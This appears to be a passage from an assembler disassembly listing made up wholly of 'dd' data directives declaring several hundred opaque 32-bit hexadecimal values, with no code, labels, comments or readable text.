		dd 0D112855Eh, 0F7C4A0E0h, 81CB4Ah, 0C10C1B5Ch,	14F21E0Fh
		dd 0BA19A1ECh, 35B0DBABh, 0A40A1518h, 0AC24D612h, 1E1170h
		dd 0C5A918A4h, 509B5B6Ch, 0B3EA2000h, 0FC051ABEh, 0E84A068Ah
		dd 0A0E4A907h, 0D087C00h, 14720FF8h, 69881971h,	80F5082Ch
		dd 0F8152321h, 91C004FFh, 19F7000Ch, 40DAB106h,	0CF585700h
		dd 62A2A003h, 15BBE2BAh, 0E43B22B3h, 13A5098Eh,	0E1A0006Ah
		dd 0CF760A8Dh, 105422EFh, 0F8460135h, 83489EF0h, 707B5A00h
		dd 2407ED27h, 9B6312ECh, 8A2C0267h, 80A4A20Eh, 1E04C233h
		dd 8C81330h, 6CC25F47h,	321D066h, 0EC81B2Ah, 9C902C58h
		dd 8076BC3Fh, 0AA45383Dh, 0D13794F6h, 0B07031D8h, 486E91CDh
		dd 0D6003CF5h, 0BBDBAE0Ch, 47009D87h, 0FA685267h, 0A169AA11h
		dd 0F180DC8h, 7219F808h, 40FBC424h, 0F6F81729h,	2386006Dh
		dd 37A68A50h, 5E2A9E0Ah, 7A14B06Bh, 0F8A8043Ah,	45008C64h
		dd 29FFCE1Dh, 0F982956Ah, 7E858A3h, 0C2ADA78Bh,	60954BC1h
		dd 9380FE91h, 0C0D162B0h, 0C76B6A05h, 0D4722056h, 6042043Fh
		dd 103BC81Fh, 0B06D225Fh, 0C80726h, 0B333A377h,	15C35D6Fh
		dd 0E5B484A8h, 16EE81C0h, 0E8390C51h, 0F7FC38E7h, 9191E9Eh
		dd 70204FC0h, 3E40113Ch, 30EBBC02h, 40DD2852h, 631BA9F4h
		dd 0D132D16Ch, 31008D8Bh, 1C6D7FB6h, 2A5D3B51h,	28B0093Eh
		dd 160778Bh, 41BED04Ah,	8231DB5Dh, 0EE9E7B99h, 0F0B08C57h
		dd 25048C4Ch, 125F41C8h, 2820CE62h, 3CE0C80Dh, 0BE006081h
		dd 6A1E5990h, 3F004AC9h, 6134620h, 4826DE66h, 7B1DB42Fh
		dd 0B9793296h, 0CF113897h, 8EF89B80h, 0BB3C919Ah, 0DEF280CEh
		dd 6B718AFBh, 0B821E7A3h, 8C3F5C20h, 48A41B02h,	1904F4D6h
		dd 0C00B1265h, 7EC9E718h, 0DC3F1638h, 255030D2h, 50920B44h
		dd 0A4507C00h, 0C0D99E8Eh, 4441C04Bh, 54B67AF6h, 1CC0324Ch
		dd 67C0121Eh, 6EC46D02h, 54454811h, 0E0E0623h, 1C7244F8h
		dd 2220FA62h, 734AF816h, 456E8E1h, 0C3441B68h, 23B08AD9h
		dd 0A53B0116h, 18350A1Eh, 3332884Fh, 0C801A500h, 9E995FB5h
		dd 2D1F2FEh, 506B766Eh,	0A0A41B22h, 0A41A6032h,	1CD6100Dh
		dd 4276B005h, 5C2E00A4h, 8B5B5319h, 0C9C3F7AAh,	0F03A6730h
		dd 36519Eh, 804CA6E9h, 0B3837F84h, 2146E092h, 15F81303h
		dd 37944472h, 1B258008h, 54BBAAF8h, 0A8BAB600h,	2AF1B3BEh
		dd 763301A1h, 0DD62836h, 0E440C606h, 5A1E8F69h,	0CA5FB5E6h
		dd 0FE774C05h, 301B4492h, 72F2F841h, 1C993472h,	0F8492F60h
		dd 5B753E18h, 58E107F0h, 53A2331Eh, 6AF13F07h, 88553Eh
		dd 0D483900h, 1312A82Bh, 0F814246Bh, 0F7F800C0h, 103BA1CFh
		dd 8001501Eh, 89F98C0Ch, 312C7268h, 2813FF0Ch, 3AE4F8F0h
		dd 1114F000h, 37F1BC69h, 0E4264996h, 0DEB44701h, 91FBDD06h
		dd 12871AE9h, 787297F8h, 2E4FFCC4h, 0BAD8F8C0h,	913D60E2h
		dd 23B287D6h, 97EB906Ch, 8E5E91B4h, 114E60E4h, 41F93D2h
		dd 0FBF7674Fh, 9A1B020Fh, 604924EDh, 2313A548h,	0C43B5D0Ah
		dd 0A5400E53h, 36DECFh,	4428BB8Ch, 334C410Eh, 0B4972874h
		dd 22BA2A09h, 79B0849Eh, 0CDF3C0A2h, 0A02433D4h, 7492AF62h
		dd 6B850488h, 0C381F57Bh
		dd 70000C34h, 198C895Dh, 39DC864Ah, 0A1F0E25h, 2F2FD7FDh
		dd 15F23F8h, 0C3B670AEh, 8E6AC0FFh, 2147BF30h, 797B4Ch
		dd 20C5FA78h, 6861DE76h, 4B62E02h, 405ADA2Dh, 604D735Eh
		dd 7513A07Ch, 3B305BE8h, 0A1C106Ah, 721E2596h, 86D4DC02h
		dd 47244227h, 0EBE29C87h, 40D4EFFBh, 0C9FD7A1Ah, 50EA2126h
		dd 4F6ED303h, 0AC7144B7h, 30BDF4AFh, 0E768EA5Eh, 8D6BCF5Bh
		dd 919097A0h, 6176815Bh, 0E4703121h, 0B41640EDh, 0A599EC60h
		dd 1D9BE5Bh, 0AEF76AF6h, 70D49F92h, 1C70AF20h, 53436617h
		dd 75D33042h, 94840A5h,	1308B024h, 108BAB5h, 9B7B6D24h
		dd 859030CDh, 3B443849h, 30C43877h, 0EB7C11B9h,	87C016A8h
		dd 0FF5C09A2h, 82495C04h, 0D21E83Ch, 6832C7BEh,	74A87128h
		dd 0E858818Ch, 2205C470h, 91B3D615h, 0E7F888h, 0CEF22AC8h
		dd 0E9270AB1h, 9C981549h, 0A81FA58Fh, 4163C43Dh, 2FA53447h
		dd 0C2756C4h, 2FEBDD0h,	0E70A49D8h, 9C1945D9h, 489E0501h
		dd 88402EEEh, 80A623C3h, 7D011EC4h, 6B14E46Ah, 98706497h
		dd 0A2CB006Fh, 0F061B7BEh, 8009498h, 0FE15ECB0h, 497B63DEh
		dd 505F009h, 0C08B3C6Eh, 883FD04h, 0A7EBD21Fh, 438F6C82h
		dd 990E40Eh, 1245A14Eh,	0C1951480h, 0C234BFD2h,	4CDBE870h
		dd 6400F1C9h, 8BEEF8BFh, 0C4E76D2Ah, 0C41DBB01h, 59D0D1B1h
		dd 0F4B49451h, 34088980h, 29E18FE0h, 9300F7F8h,	35A72FE6h
		dd 73963194h, 0FA90FABh, 0CB92474Ah, 0C95B8894h, 0D9D7E480h
		dd 0F8F23EBBh, 21496531h, 0EC508BB5h, 0C04D55h,	0CD7027EEh
		dd 4647865h, 0D53D2300h, 42759668h, 66B870A5h, 3971C8A9h
		dd 0EBCA7018h, 1BD23E9h, 0D0B04518h, 21CF0AB5h,	4F3BF0BCh
		dd 0C69E0712h, 0C040805Eh, 0D0153959h, 6EA135B0h, 8DAC04D1h
		dd 7E05000Ah, 39E735h, 10A0E1EFh, 91F36541h, 7C200860h
		dd 530D0954h, 0DCC42018h, 0CC8764E2h, 0C826C038h, 0A465F3Ah
		dd 2701DA22h, 0A418C80Eh, 0F422A9C4h, 0A5800076h, 2DCB49FBh
		dd 2C2E43B9h, 6161447Bh, 0BCC46548h, 8666040Bh,	0C27F9034h
		dd 7473A8BDh, 2CC92770h, 3CF4D580h, 0D0124A80h,	7E5D42C0h
		dd 1BE91F12h, 0A53ED060h, 4D0A2319h, 397B5811h,	9358A536h
		dd 0AC00DC42h, 5A3E2102h, 9700B02Ch, 6C311741h,	590D6DA7h
		dd 0D018F026h, 0F01331DCh, 1EF0735Bh, 38D100D5h, 0C28F729Dh
		dd 500064EFh, 0B24DA16Ah, 5005C35Fh, 351BC8F3h,	841ECCCh
		dd 0BC81863Ch, 402BB0D5h, 189E420h, 60141583h, 0F348DAD0h
		dd 0DB5DBA80h, 48FBBD30h, 266B6E11h, 23E488CBh,	52CB78A8h
		dd 0CA696700h, 0FE73A66Fh, 6C8C780Ch, 0AF78A1DEh, 0F840512Ch
		dd 1D976500h, 700CE50Ah, 0F4F25444h, 0B95E33F7h, 0E7822A59h
		dd 30CD3042h, 48C4BEEh,	0A8F5B484h, 23036D4h, 7B6CE63Dh
		dd 846260C9h, 0DF207450h, 1D70C995h, 0C81A6830h, 2A5F4611h
		dd 2B80D388h, 1987C822h, 0CAD20044h, 5FA165F2h,	0B13B396Ch
		dd 9A201EEh, 2B0D1006h,	34CEB8ECh, 0F2D8048Ch, 305DF2ECh
		dd 4B7876D0h, 0DC9496h,	3E6E1AEBh, 9E0A9B0Ch, 2001CED2h
		dd 5479D872h, 4BDEB4F0h, 4ACC09D6h, 0F5C47045h,	30B6AA61h
		dd 0B42251Ch, 0BDDFB16h, 6005174Ch, 4720D082h, 0E931F35Fh
		dd 0B47B28F4h, 0D3BCDC38h, 0C6CC078Ch, 37946BA0h, 0A9E2AFFFh
		dd 0ACA180B4h, 0C0F57695h, 6D0E0870h, 0A1CC8827h, 0E0DA05D6h
		dd 0CAE18982h, 7C790AF5h, 51850D9h, 717BB900h, 0AF0B915Fh
		dd 5B96E099h, 0BFB402A6h, 0B404937Dh, 515F4C8h,	0C960C36Ah
		dd 80A0DE1Bh, 7455A0FFh, 0D9F31067h, 0F0CC10E2h, 3B6E8B06h
		dd 0CCB430B7h, 0B824A840h, 0C20A0045h, 0E69A54F7h, 0FF7109CAh
		dd 74877D17h, 0C4C9F84Bh, 0C366790Ch, 719967C9h, 642AF92Eh
		dd 7164465Eh, 0C2B8E500h, 7F7E0A08h, 0DD58C055h, 73658C9Fh
		dd 8205ECA8h, 4C742A4Dh, 40F92E74h, 84389BEh, 0E5382935h
		dd 60F4E480h, 26636AD3h, 0D005A13h, 0ED1BEB5h, 0C05E88FCh
		dd 0C074B5E4h, 4DB04A54h, 0A3D1AC00h, 0FAA732F5h, 0B01B057Eh
		dd 0DD3FC6Bh, 28293DF4h, 8C59BCC8h, 80D76C3Ch, 98A27E3h
		dd 987B71Eh, 46FF660Ah,	71033422h, 6011309Dh, 0E8B7680h
		dd 0FE3E991Fh, 4EB4538Ah, 4600806Ah, 0FD5A83E4h, 3D73C9B5h
		dd 2091A25h, 0F2D753C8h, 0C029F5DCh, 0C9D13Dh, 94582Ch
		dd 0B86F7DA3h, 4300E2E3h, 7A25CC4Ah, 0C89818Ah,	0B2E767BDh
		dd 73186C30h, 2A507F1Dh, 4CBC5C05h, 8CD0E8h, 702F5D6Bh
		dd 8D90BA53h, 96CF714h,	8C58FCA8h, 3E088300h, 246817BBh
		dd 8F09C8Ah, 6B02EB6Ah,	42550173h, 9CB44344h, 0F0AF5B40h
		dd 8100DF24h, 15E53259h, 0B048121Dh, 122098C4h,	319336D1h
		dd 5D83D0h, 0F987D7BFh,	5AB21063h, 71D14D30h, 2AE70099h
		dd 0A10CD6F2h, 0A8A159B3h, 9141823h, 3A5F48C8h,	1928CC9Ch
		dd 0F00B81Ch, 25F96E98h, 841458h, 8DB33742h, 0C46C9D4Fh
		dd 712930EEh, 19015439h, 44D60EA4h, 0FDB04C3Ch,	3D00A441h
		dd 39BF6E4Bh, 7AF83691h, 7CAA4D7Ah, 0DCC57C01h,	0C0DE14DAh
		dd 0EF60AEEBh, 0F3A56B19h, 92D50244h, 0ECD1B166h, 6411EC9Dh
		dd 34B6F48Ch, 0C3440300h, 0C681DDDFh, 3B58980Eh, 0E84CE02Eh
		dd 0F3002BB8h, 0EF0E6A43h, 3CA1561h, 0E75DF15Ch, 18F8C3EEh
		dd 0A0EB538h, 2F4F9A98h, 0D5FFE046h, 0C09F27F0h, 1AD2A438h
		dd 0E5008910h, 325F349Ch, 99C3FEh, 9F6C30BEh, 0D7609369h
		dd 1319B977h, 4919B8FDh, 20190DDh, 0DCDDF3h, 0FA31AFh
		dd 89A79E66h, 833A2567h, 0C7287E67h, 2F32033Fh,	0C5100075h
		dd 50A704D0h, 0F9E89B4Eh, 0BE6638h, 2325C6A5h, 3A1D6206h
		dd 0B53005FBh, 0A508E721h, 2EBD3Bh, 0B09D741Eh,	809E627Bh
		dd 0C6E250CCh, 0DFD9B3Eh, 189C9A64h, 4D43FB40h,	69AF07ADh
		dd 9077E0D2h, 6DA9F50Eh, 43B19DEFh, 0E59FEB06h,	0B9190411h
		dd 0A8630C5Bh, 0A27A192Dh, 21801C08h, 775BB124h, 1A001B3Dh
		dd 0C1606F75h, 0C347B19h, 216CB433h, 48C57E0h, 25C5A501h
		dd 20B3622Bh, 15A509D8h, 1A362001h, 0EF5DAABFh,	8E21C4h
		dd 66989DE8h, 32C563C2h, 0A48AB728h, 7C5D470Eh,	0C35A20B0h
		dd 525E98Fh, 664C0E94h,	0C56821F7h, 0DA63C05Bh,	2017448Ch
		dd 965BBD0Eh, 0EE4918C9h, 98A66733h, 27604EFEh,	75E7E8BFh
		dd 5B7D5F06h, 3B9A71Fh,	76FC3CF8h, 1035B921h, 2418309Eh
		dd 0A95DE130h, 0B818ECB0h, 630D5B08h, 4012C4B2h, 515BB03Bh
		dd 4DAD0332h, 75994194h, 9DB667D0h, 9EC878C1h, 22C209h
		dd 64F08600h, 0DB0AEF58h, 0DAE7E519h, 21807D08h, 164E8ACh
		dd 9800770Ch, 1D75EA40h, 6086B3FAh, 5EC7B9BBh, 3E07F121h
		dd 269A824Eh, 0C0CA081Ch, 2156FA21h, 31D5FC7h, 7C6445EBh
		dd 0E6658800h, 92871A75h, 0BD58C880h, 0FF2158C0h, 227E463Eh
		dd 50F80BCFh, 82000921h, 0B73C9D79h, 0A0A0807Ch, 3E742965h
		dd 2C850090h, 0A461CAC4h, 31E020BCh, 1523BB40h,	8C6FC3AFh
		dd 7F92F31Dh, 0E874C981h, 5785B942h, 10631778h,	11CB254Ch
		dd 5415E20Fh, 4297805Ch, 55EC5D6h, 0A4DC7DA6h, 23C82FC9h
		dd 950E007Ch, 923FAD82h, 7518A661h, 81B2E318h, 5330B0F0h
		dd 3EF41121h, 80C38856h, 0D4212BE5h, 8F008719h,	0C134C510h
		dd 446EB0ADh, 25095367h, 3945B4Ah, 58FC2A0h, 0AE316719h
		dd 3CB406E6h, 846D0BAh,	5964FF02h, 7E3112EFh, 64F7AD10h
		dd 305C981Dh, 5BEACA40h
		dd 9CDD23Ch, 0ECA19523h, 0C07A88h, 841B886Bh, 98993AAFh
		dd 9D26823Dh, 911F62h, 0A6351B7Ah, 0B86E30C6h, 830C8E0h
		dd 79DF0DA8h, 91399F09h, 0FC2243D4h, 93013F2h, 4FF0487h
		dd 0D9EF88D6h, 0E95091FCh, 25BBB80h, 0DC91CA63h, 5BB326C0h
		dd 444E0BBDh, 4F010D57h, 4010FE49h, 7897A0ACh, 8024CC4Ch
		dd 161E6AA9h, 70362609h, 802A1198h, 25B8A50Eh, 220543F3h
		dd 0F6DD1EB2h, 9EECC0A4h, 23523868h, 5BD104Ch, 0D4357242h
		dd 95C1F004h, 0F43BE810h, 64F313C3h, 0E8F2B10Ah, 0A14172C4h
		dd 313364EBh, 104F5C0h,	4891BB3Ch, 64F680F7h, 91DAEF52h
		dd 0EEA6C074h, 6A09A264h, 14007F8h, 0C797D3E9h,	58E6DE0h
		dd 0CD06FDEFh, 86E82163h, 0A46824BDh, 27A7800h,	0C29F35EEh
		dd 4F591883h, 89B929A3h, 95B6CD0Eh, 38C800F7h, 19EB1A23h
		dd 0B0E23A19h, 60086007h, 0D0E39E2Ah, 64511F00h, 0B841265Ah
		dd 0C083060Ah, 2161B0EEh, 9AEFF90Ah, 463EFCDBh,	0F5BBE02h
		dd 1631A263h, 5BB63910h, 4E19AD0Ch, 0F7A1A0h, 0D95D79F5h
		dd 2B18943Eh, 58F67D7Dh, 1048E94Ch, 0F024BC15h,	51093DF4h
		dd 7492199Eh, 58F5F041h, 640AF4B4h, 0D8EAEF5Ch,	0B470A071h
		dd 49680CF3h, 3248EF02h, 6DF66702h, 45C8E7EDh, 6078E400h
		dd 0FF8B4h, 6A28D0FFh, 1D6CBA24h, 0B169103h, 0DEC206E8h
		dd 58DE0031h, 506C4811h, 31004110h, 0F65FDB2Eh,	1886DFEh
		dd 5AB7ED57h, 51B385B6h, 6032E3F0h, 0DA004FE9h,	0E6EC5677h
		dd 263E2E0Bh, 3491989Fh, 0F008C1B9h, 90844A1h, 8CB0B690h
		dd 0F6112151h, 0CE88263Eh, 2129E780h, 6C65AC4h,	0C3370480h
		dd 0FB00B968h, 4931A344h, 5CB29A70h, 0CF10F01Dh, 0E8045069h
		dd 5BC4048Ch, 62D26301h, 0BC27221Eh, 0B78D1440h, 0ECFC3A0Eh
		dd 0F28B8159h, 10721B76h, 7CBF3C04h, 31EB00B6h,	98999AEAh
		dd 76D50010h, 0ECF9AC57h, 1090DD11h, 0EF62CD13h, 48F68C41h
		dd 9424B1E4h, 7B0288A6h, 76344B01h, 0CB856C3Ch,	6B0A1980h
		dd 0EA36F03Bh, 0CC9D2100h, 0E9A72E4h, 4D5FE5Ah,	1DE87F1Fh
		dd 0A978C862h, 18B06E4Dh, 0C5610FECh, 7D7B316Ah, 0D5FB6C20h
		dd 5898A4D6h, 0C805411h, 325BAA5h, 0B7220643h, 0A4F4DB00h
		dd 0FDCD4275h, 597B7CE0h, 99EC74FAh, 67013300h,	0D627D437h
		dd 20149059h, 6905BD44h, 0F166B073h, 1B5FF440h,	9836FF62h
		dd 2EB4988Ch, 7E581C1Ah, 0C100C346h, 982ADC78h,	2CF634D6h
		dd 54545C90h, 0FC684FECh, 291194F9h, 0BFA50F80h, 0EC99FB25h
		dd 0A4F7DEC0h, 0C63400E1h, 0FEDBBEB9h, 0ECA6DD98h, 89BF000h
		dd 2C0B8499h, 3B6C0319h, 7C189522h, 0A2E823Bh, 783A67E9h
		dd 1361B426h, 0E041BD8Dh, 5181B585h, 8AC0F360h,	91D46005h
		dd 48247748h, 942382C8h, 15FCBA6Fh, 80B51168h, 70DFCA81h
		dd 0DD8F0A6Ah, 82D4F0BEh, 7B249E9h, 5265860h, 5890652Ch
		dd 0F560F644h, 0EF265364h, 907358E2h, 0C564EDh,	0C834B11Dh
		dd 66DE992Eh, 0C8B33F2Ah, 0A4A744h, 1065C80Fh, 22CC30EFh
		dd 974C8C25h, 80101180h, 27DA5DAAh, 5EB809B0h, 84437B88h
		dd 85194F8Ch, 0FC81F6FCh, 110799E8h, 0C802AB8Fh, 0C23737A6h
		dd 58E0C177h, 387359Fh,	0C339E6BFh, 79C0B4D5h, 0DA0104CAh
		dd 0AB0ECB7h, 0C980A64Eh, 0D4B99C38h, 6F0039DDh, 520DF054h
		dd 1219EEC5h, 3A2E516Dh, 0C823ACh, 6FA67D2Eh, 0B256AA3h
		dd 7B140271h, 23B6009Ah, 8C609B62h, 19EF5F18h, 0E01A5072h
		dd 18FA7857h, 10ECC629h, 433166BEh, 0E4CF8B4h, 0C9A2DC33h
		dd 0B2B5330h, 0EE49EAFCh, 7B19A4A0h, 2327F05Dh,	56A404C6h
		dd 0C4A50260h, 16132527h, 0AD90134h, 0E59558A5h, 9481C813h
		dd 4876CA00h, 51EF5A8Fh, 68116042h, 9E6DBC06h, 0EB6A7CA0h
		dd 0E2307741h, 0DC48965Bh, 59C6F601h, 677653CCh, 14E6C9C7h
		dd 4D7B7180h, 70C809B1h, 0F59F5D3Eh, 0FED6C494h, 0BA7A011Fh
		dd 0C251EAC9h, 0F19C5012h, 8F27C341h, 1148174Ch, 10809F1Dh
		dd 8C4F7964h, 59710208h, 0D5911B6Dh, 3C800C62h,	3ECCC3B9h
		dd 0CC821E28h, 0D022B46h, 0B25B9A5h, 0DC10B131h, 0CA39A4F5h
		dd 1C9080A2h, 0E9231899h, 0B7A00B38h, 8B9DF8h, 7E118C1Dh
		dd 0B3E10B82h, 2965A540h, 1094CE78h, 75E94004h,	0FD369881h
		dd 94636021h, 7B307FA2h, 6FED00F7h, 325006A4h, 0C514A89Ah
		dd 0E8E04A99h, 0E6008C7Fh, 2AC2FF4h, 92B08542h,	0A19D0020h
		dd 0E890F6A0h, 0C770FF30h, 105D3301h, 0B00D423Ah, 5D25FC4h
		dd 0DBE1E906h, 88408FA5h, 50ECC7B3h, 618320C3h,	9760DB02h
		dd 80FB2219h, 3FB7B09Ch, 0AB622725h, 3D7A2400h,	681E9505h
		dd 0F91654C3h, 0CC23AC3Eh, 5CB3BB00h, 3DE37D13h, 268096DBh
		dd 3CDF25D9h, 8631C7A5h, 0D71331B1h, 0BBC4CFEDh, 0F6D40026h
		dd 0A8088194h, 5B00387Bh, 0F37867FDh, 48E89EA4h, 0C72420C6h
		dd 40D4AEACh, 8699FA52h, 6C45C800h, 0EA9CBD2Dh,	8ECE0FBh
		dd 0DAF1EB62h, 0A053FF12h, 0CE00E86Fh, 0D89C9D24h, 0F26694Bh
		dd 1308285Fh, 3E0C0F85h, 33A3473Dh, 0E24CF4C4h,	3010E23Ch
		dd 81022DB5h, 0E0BEA43Bh, 7CCE98h, 30807E65h, 891C08ADh
		dd 61B0760Bh, 0CC284096h, 7F5E015Fh, 274223C6h,	107C6D6Fh
		dd 0FD0DB29Dh, 0F071E16Eh, 0B46E991Bh, 0FA82BE18h, 0A0BA1D75h
		dd 0EDC561CCh, 3D2A02F6h, 0FF39AF3Fh, 0A8964078h, 1D465Eh
		dd 0C7828A04h, 8B77A1h,	457B7F08h, 89FEE3F5h, 0D333F809h
		dd 910C97C9h, 3907807Bh, 3F39B51h, 0BE4280ADh, 7EA050C5h
		dd 0A903B723h, 3BAF63BBh, 3AC04F97h, 1123E4h, 36A65FDDh
		dd 1D3EE8E0h, 0D2085C88h, 4C649904h, 0A1B034B6h, 78006FE5h
		dd 731802Fh, 4E96883h, 9D1C8A51h, 0B1840498h, 79CA9B07h
		dd 0F39A4E0h, 9DF52284h, 3699275h, 0E4806519h, 35576712h
		dd 0B7DD404Fh, 0F6DC5EEAh, 16E4B41Ch, 0A80888E9h, 80DF3D80h
		dd 132C6D97h, 4674187Bh, 9D5202AAh, 49800F42h, 4C2C2658h
		dd 8CB2BCh, 0E3D33FE6h,	0F28792F0h, 8C388A4Bh, 82C374E3h
		dd 0A8443CC7h, 2DE38563h, 70D2ECC2h, 0FB31AF15h, 13F23AA4h
		dd 0B4524E49h, 0CB3BA06Fh, 20234980h, 0C5278161h, 82BB3A18h
		dd 59FCF8C8h, 2F5BD8B5h, 2CB123D0h, 0E0C00080h,	34F68E0Fh
		dd 3E138F0Bh, 0D390CB67h, 0B1B823DEh, 0F3215C01h, 3C285E3Eh
		dd 2154E4B0h, 3F78A80Bh, 6B2C024Ch, 1B640088h, 0B0C1CE09h
		dd 4565B09Eh, 0D980F1D2h, 2041878h, 0EFDD9A35h,	315E554Dh
		dd 0E1B8B518h, 9CB24951h, 45E2F440h, 3F908844h,	69C20C8Ch
		dd 0AC004A51h, 0D22D5930h, 82A539Fh, 0DC97A05Ch, 0B05E698Ch
		dd 509186EDh, 0C0187A71h, 0FF560E1Fh, 0F7CFC6C0h, 2421F4B1h
		dd 86F02FDCh, 0A9991FFDh, 0B644A0A7h, 0EC60E962h, 251323FAh
		dd 7CC19742h, 486D40F8h, 831FC7B8h, 6D421C85h, 0C0607FBFh
		dd 7EEA9E0h, 25E9095Eh,	865058Dh, 3262B2ECh, 98C51299h
		dd 0C1607BC4h, 7500FF93h, 0A4D688E0h, 0E05FFEC4h, 0E3AA2443h
		dd 9EEB0A50h, 0BA3778F4h, 0DAC2380h, 0B965EB6Fh, 0BCD07C98h
		dd 0A6008CB7h, 2D142977h, 247E3B9Dh, 1188DA10h,	215F80BCh
		dd 8C763EF0h, 57CCCD45h, 8EFE0021h, 0A3360DE0h,	5118EA9Fh
		dd 26B81D7Eh, 6F2904FBh, 0E2C8164Eh, 317AE294h,	70BEDCFDh
		dd 58B69400h, 0DD2D2FCCh, 0C93509BBh, 0A051710Eh, 0C8181C79h
		dd 2E753501h, 77054A47h, 2180E2F5h, 54BE0921h, 34779729h
		dd 9A017B7Ah, 0CD3DD0B7h
		dd 383D62B0h, 0E49810Bh, 7511F8E4h, 6000BA24h, 225E1A6Eh
		dd 0D4ADE36Fh, 460B344h, 0E2022D3Fh, 0AAECBA27h, 0EFCF9F7h
		dd 5CE02E51h, 0AF26BF73h, 0FEE62A00h, 3679584Bh, 3877CB3h
		dd 69F7024Ah, 5900AE4Fh, 2C7706C0h, 93F51Dh, 1560BB0h
		dd 612E910Ah, 499FBC04h, 0B0806B77h, 2A8BFB8h, 21EB0D22h
		dd 7884E07Eh, 521498B7h, 3E21F5FEh, 2AE6C02Eh, 3036921h
		dd 0FB8DBBCCh, 7550F0A4h, 9D2E359Bh, 1838A099h,	20F9C041h
		dd 0B782446Ch, 0AB3E0h,	0A7313C20h, 653BF8ECh, 23103E2Eh
		dd 0FC5011Eh, 0EC457E58h, 1713CBEFh, 6032EB22h,	80405C9Eh
		dd 30712E2Dh, 0F805EAAAh, 56025C60h, 0EE9FFC21h, 803029ABh
		dd 9365B789h, 6F175A9Dh, 0FC806A19h, 12C0F33Ch,	0A6DBA0FFh
		dd 915EE064h, 0B4B50389h, 5265190h, 6F32580Eh, 4492932Fh
		dd 0F12C900Ah, 0EF5F1764h, 4D08B02h, 3064E9A3h,	74230CC0h
		dd 19DA0408h, 8A2AC0B8h, 0A22C42E8h, 0D07B307Ah, 373F811Ch
		dd 9500B4D2h, 3614C725h, 0E6670161h, 2F099AE5h,	88884EA8h
		dd 974AC072h, 54922A51h, 623B2601h, 90D088AEh, 88E46070h
		dd 5F04C429h, 0BAB17FC5h, 0D8914F0Bh, 948D6002h, 0B38E5100h
		dd 0FCBA0DAFh, 0FDF7655h, 0BB4BED6Dh, 3A25CE60h, 949067D7h
		dd 0C1F46E48h, 68536ACDh, 0C6291880h, 516D994Ch, 0E63EFD00h
		dd 0FB4A2582h, 2674B988h, 7C102430h, 5903AA46h,	6DA33221h
		dd 1B6C5004h, 670BC505h, 851BCC2h, 77181CD9h, 0C7237D00h
		dd 5586A387h, 0D2A8A278h, 7960B9B8h, 12D918A9h,	49EDAFCCh
		dd 0E44758DCh, 1D6013C4h, 4C0AFE5Fh, 84EEE69Ah,	2B40D08h
		dd 0C3C5FBE2h, 64981D03h, 0C8B18268h, 5F3A75E0h, 17402597h
		dd 81A99190h, 0B8B025E4h, 0F1C0B2E2h, 181D79C4h, 0A97700D1h
		dd 5A74B881h, 0E31F93C0h, 0E42945F3h, 64FC8602h, 79C0590Bh
		dd 92E1810h, 2592ED08h,	21EFE018h, 9490BE7Ch, 0E05EC88h
		dd 23345904h, 0F8E01F6Ah, 2480B37Ah, 0C24674FCh, 6B937C00h
		dd 9CFEF7FCh, 1F559801h, 0CC9D1B0Dh, 0FA3C7C22h, 68607127h
		dd 0A8A43A21h, 5354B801h, 0EDB64B3Dh, 0BA62E880h, 7DE56560h
		dd 0A5A0C248h, 0A9C82CCAh, 26F73AC0h, 4D50BA1h,	743058CDh
		dd 0E7049260h, 74C1EADBh, 9A1D1C90h, 0B7EF0075h, 98A821B2h
		dd 5F26CC48h, 9308082Dh, 0CD103497h, 0BC34286Ch, 7C008CC3h
		dd 4A3F2880h, 3FC4F0DFh, 2025DEDBh, 0FDC66082h,	8630C84Eh
		dd 8DE841B2h, 53150014h, 0CF0DA349h, 0BF581E45h, 0A26810B0h
		dd 6784C43Eh, 0A803E2E9h, 8CA8F800h, 0A5045A76h, 0F1C3EB6Eh
		dd 6A0A5CE8h, 298470F3h, 0E2C892B8h, 307FE2C8h,	903AC18h
		dd 859F423Ah, 0A7E107BEh, 512BEDC8h, 603707AFh,	194A76A0h
		dd 0BEC15CCDh, 0E4646101h, 9F0050BCh, 0DF2440A7h, 96276D9Bh
		dd 0B6465E1Ch, 0E4188600h, 3CF87F8Fh, 9A4AF509h, 0F184D1A7h
		dd 268118C9h, 0AD48447Dh, 1E917897h, 1FE3A88Fh,	0E0023AABh
		dd 76B7676Fh, 8A605C27h, 40C463B0h, 1BC649E9h, 0ACB040BAh
		dd 342EC141h, 0BCB8E848h, 0BF008CC3h, 0E0B08957h, 6251CD2Ch
		dd 0A5A46060h, 0A2218F00h, 4848219h, 0C8D6436Dh, 0A51FD032h
		dd 0E9471CF6h, 0F058128Eh, 0F3126270h, 2C10DED5h, 0C9CB12B8h
		dd 6BA358A0h, 0B46DA871h, 872797C7h, 57753760h,	0F3030996h
		dd 4090C41Dh, 0D44E40E0h, 1588D48Eh, 1DE952C0h,	43B7E8Bh
		dd 6ED6ED6Ch, 0C46CA01Fh, 0BFF72E1Ch, 0EA6B38C0h, 6A60AFF6h
		dd 0BF0D8CAh, 0DCAB9A80h, 0C2444C67h, 0D464A360h, 0EA600100h
		dd 0DDA95795h, 36241347h, 3E28E23Ch, 55AF801Ah,	90358240h
		dd 92292566h, 34568842h, 0D0C00DCh, 3CF7BFD3h, 3B076B46h
		dd 372C7B19h, 8B00ECAAh, 3D9C9F31h, 8E74CEDh, 38C7DE8h
		dd 4FC70B3Ch, 190076C3h, 187B9F6h, 983773h, 84CDBC32h
		dd 0E6851BBFh, 0F491F879h, 9018AAD1h, 93206498h, 0C9F84B76h
		dd 18A474h, 1DE81830h, 179D2A8Ch, 94C14FACh, 92F2C160h
		dd 632421EAh, 3015B20Ch, 0E71D405Ah, 2DBAEE88h,	77B82551h
		dd 2CB070E0h, 0AE34C467h, 7C465EC8h, 57636700h,	0B2F49F3Ch
		dd 71FC8995h, 93E1F78h,	0E021BB20h, 1021629h, 0B830DCBCh
		dd 8C9F9784h, 0C98ECD11h, 0D2C26E60h, 670C70C8h, 6015DE29h
		dd 6DBF1224h, 6614017Eh, 285A3BAFh, 8C10F814h, 78E1AD03h
		dd 7EF9F59h, 1748AE19h,	0F2D2C7C8h, 0EF800BE3h,	19EF0533h
		dd 880AE7FFh, 9806C301h, 91B897AFh, 0FFC48473h,	776F1881h
		dd 983F8004h, 6C2C3C87h, 3EFCBC9Dh, 0C396EC10h,	0B07EB6h
		dd 0B4296E2h, 9867EFB0h, 0F946407Ch, 467CA89Ch,	35310017h
		dd 48A91D75h, 28DC020Ch, 0C321FB6Fh, 0F40EE464h, 0C0A0BBE0h
